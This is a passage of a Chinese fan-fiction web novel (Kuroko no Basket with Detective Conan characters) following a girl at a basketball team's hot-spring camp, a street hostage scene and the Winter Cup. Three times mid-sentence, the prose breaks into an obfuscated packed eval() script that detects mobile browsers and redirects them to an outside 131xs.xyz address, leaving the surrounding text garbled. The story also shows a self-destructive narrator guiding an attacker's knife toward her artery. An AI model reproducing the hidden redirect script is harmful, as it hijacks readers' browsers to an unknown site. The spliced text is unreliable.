“既然不喜欢我,那就只剩下一种可能性了,”我收回目光,告诉伏特加,“琴酒是个抖M,他喜欢被人粗暴地对待。如果你想以下克上,可以从辱/骂他开始。看在你请我吃拉面的份上,我可以教你怎么骂人,保证恶毒到让琴酒哭着回家喊妈妈。” 伏特加似乎越过我往上看了一眼,说了句他去帮我们买水,毫不迟疑扭头就跑了。我正感慨对方这奔跑速度和体型不成正比时,头顶突然传来低沉的男声:“看来你的训练强度不够饱和,还有精力说这些废话。” 我:“……” “OK,琴酒,”我龇牙咧嘴锤了锤肩膀,艰难站立,“你悠着点,我这身子骨承受能力有限,经受不住两次暴揍。” 8. 008 时间快进到十二月份,篮球队准备这周末打练习赛,顺便去附近的旅馆泡温泉。这种事情本来和我没什么关系,但桃井五月一放学就逮住我,诚邀我参加。 我:??? “算是篮球队合宿,只有我一个女生也是很寂寞的,”她表现得欢快又期待,“我和教练以及今吉前辈都说了,他们都没意见。” 不好意思,当事人有意见。 我表示拒绝:“算了吧。我和你们篮球队不熟,带上我这个陌生人干嘛。” “很快就熟悉啦,大家都是很好相处的人,”她脸上带着梦幻般的笑容,周身冒出粉色小花花,娇羞地扭来扭去,“哲君也在,到时候我介绍你们认识吧。” 我:“不用了,谢谢。” 老父亲对于这种事情乐见其成,听说同学邀请我去泡温泉时,表现得比我还积极:“太好啦,我家宝也交到朋友了,要多和朋友出去玩呢。” 我面无表情地看着他:“是跟着篮球队去合宿哦。” 他立马转变口风:“不行。狗男人,不安全。” 我:“……” 爸爸!真的大可不必。 连那位眯眯眼——篮球队队长今吉翔一也来找我,希望我能随队参与,作为交换可以让我挂名篮球队,以获取社团活动的学分。 我:“不。因为之前霸凌事件,学校特批我可以不用参加社团,所以学分不学分的对我来说并不重要。” “有什么关系嘛,”他笑得阴险狡诈的,“反正也没什么事情,就当作郊游好了。” 我是真的不懂。 他们是不是过于高估我在青峰大辉心目中的地位了,他训不训练真的不是我能决定的。 青峰同学估计和我一样不懂。 合宿当天,桐皇门口集合时,他茫然地看向我:“为什么你会在这里?” “是我邀请她来的,”桃井同学亲密地凑过来,挽着我的胳膊得意地说道,“こ酱也跟着我们一起合宿。” 我一摊手,表示自己也不知道。 青峰大辉:“……啧。” “另外,こ酱是什么?”我扭头看向桃井五月,“听起来很奇怪。” “小林(こばやし),Ko-ba-ya-shi,”她笑眯眯地竖起食指,“那就是こ酱。” “……你认识那只金毛皮卡丘吗?” “诶?你是指谁?” 那只同样拥有奇怪口癖的皮卡丘叫什么名字来着? 我努力想了想,实在没能回忆起来,果断略过这个无关紧要的问题:“算了,随便你怎么叫,但我会反应不过来。” “那——莉酱呢?” “不能直接喊我小林吗?” 粉毛少女一合掌,自顾自地决定:“那就叫莉酱好了。” 说罢,她还凑过来,甜甜地喊了一声:“莉酱。” 我:“……” 行叭。可爱的美少女拥有任性的权利。 他们练习赛的对手是一所叫做丞成的高校。 赛前准备的时候,我坐在观众席边玩switch,一道阴影落在我身上。 抬头看过去,是一位棕发少年,身形高大,应该超过190cm。对上我的视线时,他的眼神明显一亮,腰背挺直,显得更高大了。 “我叫鸣海大介,丞成高校一年级生,”他大声说道,“你长得好漂亮,可以和我交往吗?” “诶?” “喂!” 底下顿时传来惊呼和窃窃私语,然而我的内心毫无波澜,连笑都不想笑,淡定地拒绝他:“抱歉,我不喜欢男人。” “啊?!!!”少年瞳孔地震,震惊地退后一步,磕磕巴巴地问道,“是、是我想的那个意思吗?” 越来越多的视线往我们这边看过来,我半点不慌张,依旧埋头打马里奥:“字面意义上的意思。” “对、对不起,”出乎我的预料,这位热情主动的少年并没有纠缠,着急忙慌地一鞠躬,转头就跑了,“我明白了,打扰了。” 他跑得飞快,与赶上来的桃井五月擦肩而过。粉毛少女迟疑地喊了声:“莉酱?” “比赛不是快要开始了吗?”我放下二郎腿,朝篮球场扬了扬下巴,“加油。” 她还是犹豫:“你一个人没关系吗?” 我点头:“没关系。” 她再三确定:“真的没关系?” 我:“……你们教练在喊你了。” 桃井五月一步三回头地走了。 虐杀,这是一场单方面的虐杀。 连我这种外行都能看得出来,桐皇打得很轻松,直接拉开了三位数的分差。 按理说,练习赛对象应该选择旗鼓相当的对手,差距这么大真的能起到练习赛作用吗? 我不懂。 反正是他们教练和队长的考量,与我这种吃瓜群众无关。 前往温泉旅馆的路上,篮球队里那个浅草色碎发的大高个一直在看我,明目张胆却自以为鬼鬼祟祟地偷看我。 我:??? “你,”他像是实在憋不住,“你喜欢女人吗?” “若松。”话音刚落,今吉翔一警告性地喊了他一声。 “如果你是指那方面的喜欢,”我倒是不怎么在意,坦然地摇头,“那答案是不喜欢。” “你刚刚是骗他的?” “不。我确实也不喜欢男人。” 众人:??? 如果不是今吉翔一及时掐断,青峰同学也黑着一张脸怒骂“别吵他睡觉”,他们估计还想就我的性取向进行一番探讨。 青春期的少年果然对情情爱爱特别感兴趣啊。不过其实也没什么好探讨的,我这辈子已经对爱情不抱期望,预计是孤独终老了。 我和桃井五月住在一个房间,他们篮球队好像有事情需要讨论,让我先去女汤池里等她。 隔了一道竹子墙的男汤池吵吵闹闹的,我趴在岩石上,遍布硫磺的味道,感觉毛孔都张开了,水汽熏得我晕乎乎的。 好舒服,想睡觉。 我眯着眼睛打盹,听到那边的汤池有对话声,勉强支起身子去看,正好看到桃井同学和一位短发女生在聊天。聊着聊着不知道怎么的,那位女生大喊一句“我们家的男人可一点都不软,你们洗干净脖子等着”,两人的气氛明显争锋相对起来。 我:??? 别吧,池子就这么大打不起来的,大家快快乐乐泡温泉不好吗? 晕乎乎地划过去,我正想给自家院校增添几分可能有更可能没有的气势,桃井同学半点不输,微微一笑:“气势真足呢,希望你们下一场比赛也能像现在这样。” 好像是不用我出手的意思了。 眩晕感更重了,胃里在翻山倒海的蛄蛹,我忍了又忍实在忍不住,挣扎着爬上岸:“桃井同学,我不行了,我先出去了。” “诶?莉酱你一个人可以吗?”对方有些担忧地看过来,“是不是缺氧了,要不我扶着你吧。” “我没事。”我拒绝了她,眯起眼睛,感觉跟梦游似的恍恍惚惚套上浴衣,扶着墙壁艰难地往外走,听到拐角有人在吵架。 是水箭龟……阿不,青峰同学。 还有不认识的杰尼龟和烈焰猴。 似乎是在宣战,又好像在……争宠? “黑子现在的队友是我,我们一定会打败你的。” “和这种家伙在一起,哲,你能发挥你的全部才能吗?” 黑子。哲。 哲。黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412898|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 咕咕咕咕。 搞什么啊?温泉里美女在吵架,走廊上猛男在争宠,这群打篮球的都这么会玩的吗? 脑袋晕得厉害,眼前阵阵发黑,我实在没有精力围观猛男争宠,只想赶紧回房间躺平。扶着墙壁,我没注意到脚下的台阶,身体一晃,差一点就吧唧倒在地上。 如果不是青峰同学眼疾手快一把抓住我胳膊的话。 “你又怎么了?”他看了看我,没好气地问道。 我整个人都不好了,气虚地说道:“我想吐。” “哈?”青峰同学整张脸都写着无语,“你是蠢货吗?头晕了还不知道赶紧起来。” 我没忘汤池里还有人在:“桃井同学在里面,还有个女生,似乎在吵架。” “你先管好你自己吧。”他更无语了。 这就叫做被偏爱的有恃无恐。 同样是泡温泉过久导致缺氧,对待他那位蓝毛前队友柔情善意温婉可人,对我却这么凶残。如果不是我怕我一张口就呕出来,已经把他骂得哭着回家喊妈妈了。 青峰同学抓着我的衣领,连拖带拽把我捞到长廊上透气,强行给我灌了小半瓶柠檬汁饮料。我张开双臂趴在泛着凉意的木质走廊上,只感觉天旋地转、世界颠倒。 “喂……喂!”有只手摸了摸我的脑门,头顶传来对方无奈的声音,“你还好吗?” 我觉得我该回应一下,但实在不想说话,只能挣扎着冒出一个单音词:“嘎。” 对方显然更无语了:“你嘎什么啊?” “嘎嘎。” “……闭嘴。” 他没有再说话,气氛安静了下来,只剩下风声,像是有人在窃窃私语,述说冬日的故事。 躺平了好一会,眩晕感稍退,我咸鱼翻身,后怕地拍拍胸口,长呼一口气:“今年我都不想泡温泉了。” 他翻白眼:“蠢货。” 我没有在意,坐了起来,缓过来后脑子终于开始运作:“刚刚那个杰尼龟就是桃井同学口中的哲君吗?” “什么杰尼龟啊,”青峰同学无奈地应道,“他叫黑子哲也。” “那个烈焰猴呢?” “……火神大我。” “原来如此。”我恍然大悟。虽然也不知道自己悟出什么来,但就是大雾(划掉)。 青峰同学估计和我一样,他的语气带着明显的嫌弃和鄙夷:“原来如此个鬼啊,你之前认识他们?” “不认识,”我想了想,“刚刚我还以为你们要为爱出手。” “那是下一场的对手。”他说。 可能是气氛太好,也可能是他闲得无聊,他莫名其妙开始回忆往昔,叙说那些年青峰大辉打过的篮球,以及他们三人之间复杂的关系。 前光影、现光影。 个人篮球、团队篮球。 没有人能打败我,我一定会打败你。 啊这。现在打个篮球都这么多爱恨纠葛了吗? 我不懂,但我大为震撼。 青峰大辉看了看我,不满了:“喂!你那是什么表情?” “就,”我一时之间不知道该说什么,只能默默闭上嘴巴,“嗯。” 青峰大辉:“……” 他张了张嘴,突然抱着肚子大笑出声:“你是第一个不会对我说教的人。” “他们都说,明明你很爱篮球,明明你拥有无比天赋,明明……为什么不去打篮球?”他的笑声渐缓,“羡慕我的天赋、指责我浪费才能、恐惧我的运动能力,把我视作‘怪物’。” “为什么?”他呢喃,“篮球随便打打不就好了。” 他像是个被家长抛弃的孩子。 迷茫、害怕,又痛苦。 我突然想起一个人。 9.009 在生气之前,我连忙撑着地板站起身:“我饿了。” 青峰大辉一副没反应过来的模样,呆呆傻傻地抬头看我:“啊?” 我认真地说道:“我想吃泡面。” “……啊?!”他反应过来,猛地抬高声音,“你是不是脑子有病?” “是的,”我老实点头,“我要去便利店,你去吗?” 青峰大辉:“……” “去去去,”他烦躁地啧了一声,泄气地喊道,声音都抬高了点,“你们女生不是都天天嚷嚷要减肥吗,大晚上的吃什么泡面。” “我不肥,不用减。” “……你真的是女生吗?” “我这张脸,这身材,很明显吧。” “……” 他整张脸都写着无语。 还没走出温泉旅馆,我们就被人喊住了。 “原来你们在这里,”桃井五月很兴奋地拉着杰尼龟过来,那个烈焰猴也跟在他们身边,“莉酱,这就是我和你说过的哲君。” 我唔了一声,目光落在蓝毛身上:“刚刚见过。” 名为黑子哲也的少年礼貌地鞠躬:“你好。” 活泼开朗的桃井五月替我们相互介绍,重点都放在她心爱的哲君上,雀跃得疯狂冒出粉色泡泡,以至于我总会不自觉地看向青峰大辉。 青峰大辉一脸莫名其妙:“???你看我干嘛?” 我默默收回目光。 实不相瞒,各大竞党里我是忠实的幼驯染党派。然而无论是二次元还是现实,幼驯染都敌不过天降系。 真是可恶! “好的,非常高兴认识你们。我们准备去买泡面,”聊下去就没完没了了,我对交友莫得兴趣,果断掐断话题,“你们要一起——” 看着眼前四人,我一梗,突然发现盲点。 火神大我、黑子哲也、青峰大辉、桃井五月。 现光影,前光影。 幼驯染,天降系。 我不禁感慨:“原来如此,三角形果然是最稳定的形状。” 众人:??? “没什么,”我摇头,“你们要去便利店吗?” 说实话,我就是这么礼貌一问,没想到这两个外校球员也跟着我们一起去。 便利店在街口,从温泉旅馆过去需要经过一条没有路灯的小路。天色已经不早了,便利店准备打烊,接待完我们就锁上玻璃门。我们三人只能蹲在路边嗦泡面,桃井五月和黑子哲也抱着热牛奶慢慢喝。 倒一点牛奶,掰半块巧克力,搅拌搅拌,再加上灵魂香肠和泡菜。 “哇哦,神奇的做法,好吃吗?”桃井五月凑了过来,随即用力摇头,自言自语给自己洗脑,“闻着我都饿了。不行,这个月甜点已经超标,绝对不能再吃夜宵。不可以不可以,绝对不可以。” 我:“嗦~香。” 青峰大辉:“嗦~” 火神大我:“嗦~” 可惜没有芝士,不然这碗咖喱泡面的味道会更浓郁。 夜风很凉,我低头嗦了一口面汤,突然察觉到有人站在我们面前,下意识抬眼看过去,是两位穿着制服的巡查。 其中一个半弯下腰,皱起眉头问道:“你们是哪个学校的,家住在哪里?” 另外一个则是朝对讲机说道:“有几个离家出走的高中生。” 我:??? 我艰难地咽下泡面,不可置信地看了看自己身上宽松的运动外套,怎么看都不像是落魄的流浪者,或者叛逆的地雷系少女吧。 他们瞎了。 我又嗦了一口面,还喝了口面汤暖身。 之后他们眉头皱得更紧了,几乎能夹死苍蝇的眉头明明白白写着不赞同。 法律明文规定,晚上10点以后,若无家长陪同未成年人不可以单独外出。这两位巡查死活认定我们几个就是逃家的高中生,无论怎么解释都是一副怀疑模样。实在没有办法,只能让他们跟着回温泉旅馆,桐皇篮球队的教练也在,成年人的话可信度总比我们几个未成年要强。 得知巡查的来意后,原泽教练面无表情地扫了我们一眼,镇定地和他们交谈,证明我们确实是随队过来合宿的学生。 隔壁学校的篮球队队长正在叉腰教训火神大我和黑子哲也,今吉翔一笑眯眯地看向我们,语调不急不缓:“光顾着自己偷吃,就没想着给我们外带么?” 青峰大辉双手插兜,一如既往地狂妄不羁,从头到脚都写着“你什么档次和我吃一样的泡面”。桃井五月倒是有些不好意思,双手合十撒娇着道歉:“抱歉抱歉,下次一定记得。” 我想了想,从口袋里掏出泡面剩下的半块巧克力,放在他掌心里:“我们给你带的。” “……”今吉翔一愣了一下,下一秒笑容缓缓扩大,拉长了声音抱怨,“好寒酸。” 他单手掐着下巴,拿起巧克力状似认真地打量,操着奇奇怪怪的关西腔:“唔。还是吃剩的,好过分。” 我很镇定,并倒打一耙:“吃太多会长胖,身为运动员,竟然连这点最基本的自觉和自控都没有吗?” 今吉翔一微笑:“那我是不是还该向你道谢?” 我相当大气:“不用谢。” 今吉翔一:“……” 他蓦然笑了出声。 第二天上午,返校前大家约好了去商业街购物。 桃井五月挽着我,落在篮球少年后方,雀跃地四处张望,问我有没有想买的东西。 脑袋跟浆糊一样,我打了个哈欠,晕晕沉沉的只想躺在温暖的被窝里睡觉。 她看了看我,有些担忧和关心地询问:“莉酱昨晚没休息好吗?” 我又打了个哈欠,努力打起精神:“不。我假期习惯睡到12点。” “和阿大一样,”她笑了一声,“他假期也是不起床,全靠我喊醒。” 我不置可否地应了一句。 多美好的幼驯染情谊,竟然敌不过天降系,这可恶的世界定律。 “别跑!你给我站住!” 身后突然传来急促的脚步声和一声声惊呼,我一边心想这句话真是傻帽,谁会真的听话不跑啊,一边转身看过去。 一个戴着兜帽的男人咬牙狂奔,身后跟着两个年轻巡查。男人横冲直撞的,撞倒了数位行人和街边小贩,引来一阵惊呼与怒骂。眼看他快要跑到我们这边,余光扫到被突如其来的变故惊得楞在原地的桃井五月,我顺手把她推给前方的篮球少年,反作用力之下我往后踉跄了两步,正好撞在男人怀里。 下一秒,脖颈被紧紧箍住,男人挥舞着水果刀大声喊道:“你们别过来,再过来我就杀了这个学生。” 两名巡查震恐地停在原地,在男人的威胁下不敢上前,只能举枪对着我们:“住手!” “莉酱!” “小林同学!” 另外一边,是着急紧张的篮球少年。看得出来,青峰同学想冲过来,却被他们篮球队长紧紧拦住。 “离我远点,”男人吼道,箍着我往后退了两步,“我会杀了她的。” 刀锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436270|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很凉,冷冷得像是下了一宿的雪,贴在柔软脆弱的脖颈上,以至于我打寒颤哆嗦了一下,手臂估计都冒出了鸡皮疙瘩。 这个微小动作让这个犹如惊弓之鸟的男人立马呵斥“别动”,手臂猛地收紧,勒得我有些喘不过气。 这周目会这么死掉么? 我心里想着这件事情,握住了男人的手背,调整角度缓缓用力,十分好心地指导他:“先生,颈总动脉在这里。真要杀人的话,割断这里才便捷。” “你、你想干什么?”男人被吓得手一抖,差点划伤我的脖颈,“都叫你别动,再动我就杀了你。” “杀呗,”我闭了闭眼,听到自己不带任何情绪的声音,“临死前唯一一个小小的请求,希望你下手能干脆利落些,半死不活可难受了。” 我其实是没什么关系的,但我的同学们似乎不是这么想。青峰同学一声怒吼把男人吓了一跳,他手一抖,脖子上顿时出现一道浅淡的血痕,又引起一波惊呼。 男人手抖得厉害,色厉内荏地威胁:“闭嘴。你是不是想她死。” 今吉翔一拉住了他,压低声音呵止:“青峰,冷静一点!” 唉。想要威胁人,能不能别手抖啊,一点气势都没有。 我朝青峰同学弯了弯唇,看着对方紧缩的瞳孔,自顾自地握紧男人的手:“用刀尖会便利一些,从这个角度最方便使力。” “看到那边那位凶巴巴的黑皮君了吗?”我丝毫没有在意抵在脖颈上的刀尖,朝他扬了扬下巴,“只要轻轻一划,鲜血能直接嗞他一脸,人体很神奇吧。” 我越是用力,男人就越是抵抗,像是一张几乎要被拉断的弓,连声音都在颤:“别动,我叫你别动啊!” “活着好没意思啊——”话音未落,我猛地放松持刀力度,男人一时不察觉手臂往外划了个半圈,水果刀差点都脱了手。在他怔愣的瞬间,我直接半蹲下身,右腿退后半步,紧抱住他的手臂将他过肩摔在地。 琴酒教的。 有点用处,下次稍微对他态度好一点。 巡查的反应比我想象中要快,还没等我收回手,就已经迅速跑过来把男人压倒在地。其中一个巡查抬头看我,眼睛猛地瞪大,脸上只余下惊恐。 “快!”他下意识朝我飞奔过来,大声喊道,“快叫救护车!” “你这家伙——”下一秒,青峰同学那张本来就黑、此时更是黑上加黑的黑脸出现在我面前。他咬紧牙根,太过用力以至于额角都冒出狰狞的青筋:“你是不是想死啊?!” 不。活着确实没意思,死了其实也一样。 我还没来得及开口,脖颈倏然被一团衣服捂住,来人的拇指正好紧紧压在动脉上,将我未尽的话堵在咽喉里。 他太过用力,以至于我差点以为他是想谋杀我。 “救护车很快就会来,”今吉翔一一手压着我的脖颈,一手扶着我的肩膀,声音放得很缓,“先慢慢坐下来。保持清醒和呼吸,不要说话。” 比起疼痛,更加直观的反应其实是冷,凉嗖嗖得像是被冰刀紧挨着。眩晕感慢慢涌现,眼前大片大片的黑闪过覆盖。我闭了闭眼睛,轻轻呼出一口气,一睁眼就看到眼前这群少年被吓得脸色苍白,不知道的人肯定会错以为割喉的是他们而不是我。 “只是表皮而已,割破动脉就不止这一点血了。”我推开了今吉翔一,自己按住了脖颈,“别紧张,人生的走马灯还没出现。” 锋利的刀刃上沾染了鲜血,我抬眸看向那把掉落在地上的水果刀,半响才轻轻叹了口气。 10.010 我的黑皮同桌不知道受到什么刺激,突然开始积极参与训练,并且十分热衷于邀请我参观。 “你输了?”我思前想后,只想出这个可能性。 “Winter Cup还没开始,”他没好气地瞥了我一眼,“赶紧,训练要开始了。” 别吧,这不就做实了我能让你参加训练这件事情,我可不想被你们篮球队缠上。 其实我解释过,那天全怪我技艺不精……啊不对,是琴酒教学能力太差,才会不小心划到脖子。但青峰同学主打一个「不听不信」,每天看我鼻子不是鼻子,眼睛不是眼睛的。 问题倒是不大,不交流就是了,实在不行可以让班主任换座位。可偏偏他看我不顺眼,却又死活要拽着我看他训练,和喜欢拽前桌麻花辫的小学生有异曲同工之处。 我只能猜测:“你暗恋我?” 青峰同学面无表情:“我不瞎。” 我冷漠:“哦。” 也对。毕竟他喜欢巨/乳,而我只是正常大小,并非他的理想型。 该说真不愧是幼驯染,桃井五月也天天缠上我,每天都莉酱长莉酱短,课间时间总过来找我聊天,还给我带了便当。 对此,青峰同学脸色颇为复杂:“不想死的话,劝你别吃。” 我:??? 我迟疑地揭开便当盒盖子,里面是一团团黑漆漆、看不出原材料的东西。 ……对。东西。 我甚至没敢称之为食物。 “啊这,”我左看右看,愣是没敢下手,抬头真诚地询问黑皮同桌,“你要尝点么?” 青峰同学表示拒绝,他看起来像是对此有极其可怕的回忆。 大概是因为临近比赛,篮球队每天都训练到很晚。青峰同学跟只怨灵似的,每天都幽幽盯着我,以至于我走又不能走,只能戴着耳机坐在观众席写作业温习功课。 保姆琴酒前阵子到海外出差了,估计是想趁着年底冲一波KPI。虽然我也不知道他的KPI是什么,他和伏特加对工作内容三缄其口,搞得神神秘秘的。 他临走前特地交代(威胁)过我,要是期末考试没有进入年纪前二十名,他会让我知道什么叫做恐怖如斯。 说实话,我是真的不懂他的想法。体术枪械也就算了,为什么连文化课都要抓。难不成是教导出一位年级倒数的学生,会让他觉得丢脸? 这关他什么事啊! “小林同学——” “小林同学,”肩膀被人拍了一下,我下意识抬头看过去,对方依旧是那副眯眯眼笑脸,“看书看得这么入神,难怪是优等生呢。” 我摘下耳机,探头朝底下看过去:“训练结束了吗?” “结束了。青峰和桃井刚刚被教练叫走,估计要过一会才能回来,”他邀请道,“要试试投篮么?” 我想了想,答应了,正好有话想对他说。 站在球场上,我抬头看着篮球框,率先开启话题:“其实没有必要。” “你看出来了,”他轻笑,“很明显吗?” 我投出篮球,看着它在篮筐上转了一圈落进框内,才开口说道:“青峰同学并不聪明,还表现得如此明显,傻子才猜不出你们的用意。” 今吉翔一笑了一声:“所以呢,有被少年的篮球精神触动到吗?哪怕只有一点点也行。” 我捡起滚到脚边的篮球,摆好姿势又投出一个,结果这一个连篮筐都没碰着。我也不在意,耸耸肩:“该说放弃我还是放过我呢,不过意思是一样的,别白费力气了。” “虽然长了一张会吓哭孩子的脸,但青峰意外的温柔呢,”今吉翔一又给我递了个篮球,“我只不过是给他提供了一个双赢的选项。” 他告诉我,那次劫持我表现得太过明显,连青峰这种粗神经都能看出来我的心态有问题。青峰本来准备直截了当来找我,但被他和桃井五月拦住了。善于收集情报的桃井五月给出一个并不理想的答案——我拥有严重的自毁倾向。 听到这个,我忍不住笑了,随即摆摆手让他不要在意我,请接着说下去。 所以他给青峰提供了一个建议,用篮球少年永不服输的精神,带动我重拾回对美好生活的向往与希望。 可以的。不愧是少年jump特有的「友情、努力、胜利」。 今吉翔一依旧是那一副阴险狡诈的眯眯眼笑容:“改善你的心理状态,青峰也能参加训练,所以说是双赢。” 我抱着篮球,歪头想了想,认真发问:“前辈,你有被人打过吗?” “好过分,”他的表情半点没变,奇奇怪怪的关西腔听起来像在撒娇又像在抱怨,“小林同学,这时候你不应该少女心大爆发,动容到落泪么?第一想法竟然是我会被人欺负。” 我好整以暇地看着他。 “好吧好吧,”他一摊手,“如果你是指和别人发生冲突,那确实是有的。” 嗯。我猜就是。 他长了一张让人手痒痒的脸。 “所以呢,”他猛地凑过来,眉眼泛着笑意问我,“小林同学,你心动了吗?” “没有。”我翻了个白眼,一把把他的脸推开。 “真可惜。”他是这么说的,但他的表情却完全看不出遗憾。 Winter Cup的开幕式定在了12月23日,鉴于我对吵闹的容忍度很低,坚决拒绝了他们的邀请,自己在家里大战塞尔达。吭哧吭哧爬雪山的时候,放在一旁的手机响了。 屏幕上闪烁着今吉翔一的名字。 …… 等我赶到体育场的时候,天色已经完全暗了下来,冷风透过围巾钻进脖颈里。 比赛结束,观众相继散场,照明悉数熄灭。我绕着体育馆找了一圈,终于在偏僻的楼梯口边上找到对方。远处的路灯并不明亮,少年还穿着桐皇黑色的队服,几乎要融入夜色,一晃眼差点就错过。 大约是听到我的脚步声,他抬起头,似乎在注视着我。他的整张脸落在阴影底下,我看不清楚他的面容与神情,却还是能感受到如有实质的目光。 我朝他晃了晃手机屏幕:“你的队友告诉我,比赛输了,让我帮忙安慰你。” 他并没有说话。 唉。都说了,他这五大三粗的模样,真的不适合扮演电影里雨下破碎感十足的清秀少年。 “所以呢,一个人在这里悲春惜秋?真不符合你的形象,”翻过栏杆,我走到他面前,随口调笑,“该不会需要拥抱吧,你还是小孩——” 视线蓦然暗了下来,大概过了数秒我才反应过来,莫名其妙觉得有些好笑,但嘴上还是没好气地回道:“好啦好啦,我可不是你妈,别对我撒娇。” “我输了。” “我知道。” “没有下一场了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456199|168836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哈?这不是每年都会举行的吗?” “我现在好想打篮球。” “那就打呗,又没人拦着你。” 他没有再说话,氛围静谧,只余下簌簌风声。 对比起冬日寒风,少年的体温显得格外滚烫灼热,胸腔里那颗心脏在有力地跳动,余震顺着我的耳廓产生共鸣。我忍了又忍,也清楚这举动太过读不懂空气,还是忍不住拍拍他的后背:“你身上汗味好重啊,可以放开我了吗?” “……闭嘴。”他似乎有些恼怒,咬牙切齿呵斥,“不说话没人当你是哑巴。” 行叭。看在你输了比赛的份上,勉为其难再让你抱一会。 他太暖和,而我这阵子日夜颠倒作息紊乱,困意慢慢涌上心头。靠在他的肩膀上,我暗戳戳打了个哈欠,突然听到身后传来迟疑的声响:“青峰君……?” 我下意识扭头一看,出声的是那位蓝毛队友。他的表情依旧平波无澜,和身后那群颜艺少年形成鲜明对比。 “喂,你的杰尼龟来了。”我推了推他的肩膀。 “……都说了他叫哲,别总是杰尼龟。”他放开了我,没好气地应道。 青峰同学很快就恢复为「老子天下第一」的出厂设置,至于是真心释怀还是不能在对手面前示弱,这就不好说了。 他们看起来明显有话要说,我退到一边把舞台让给他们,听到蓝毛队友脸色郑重地问道:“青峰同学,你打篮球快乐吗?” 我:??? 蓝毛队友似乎并不在意青峰同学的回答,自顾自地接着问:“你有再次喜欢上篮球吗?” 我悟了! 难怪天天嚷嚷着“能打败我的只有我自己”的青峰同学会输。快乐竞技是制胜法宝,团队合作是正派必备,他这位蓝毛前队友明明白白jump系男主人设,他输的不冤。 前方两人正在互述衷肠(?),我等了一小会,耐心已经开始断崖式消退,琢磨着自己任务到此结束,可以回家继续塞尔达的时候,蓝毛团队里的眼镜男凑了过来,他身后还跟着几个竖起耳朵的少年。 眼镜男好像是诚凛的队长,上次就是他叉腰把偷跑出去吃泡面的黑子哲也和火神大我教训了一顿。 “你是青峰的,”他鬼鬼祟祟地竖起尾指,“这个吗?” 我奇怪地瞥了他一眼,没懂他年纪轻轻怎么会瞎成这样:“当然不是,我和青峰同学只是同桌。” “可是你们刚刚在……”他脸色爆红,磕磕巴巴似乎十分难以启齿,“在……” 他愣是说不出口。 我:?? 救命,现在的少年都已经纯情到这种程度了吗?实在槽多无口,我翻了个白眼:“见到别人拥抱就以为是情侣。同学,你该不会是母胎单身吧。” 眼镜少年立马挺起腰背,镇定地一推眼镜,色厉内荏地冷哼一声:“呵,怎、怎么可能。” 行了,明摆着是处/男。 “而且只是拥抱而已,”我此时的表情肯定困惑又鄙夷,“就算是做/爱也没什么大不了——” “咳咳咳!” “嘎嘎嘎!” “叽叽哇哇!” 话还没说完,这几位少年爆发出巨大的咳嗽声,捧着脸尖叫,身体力行cos世界名画《呐喊》。 我:“……” 我果断扭头就走:“再见。”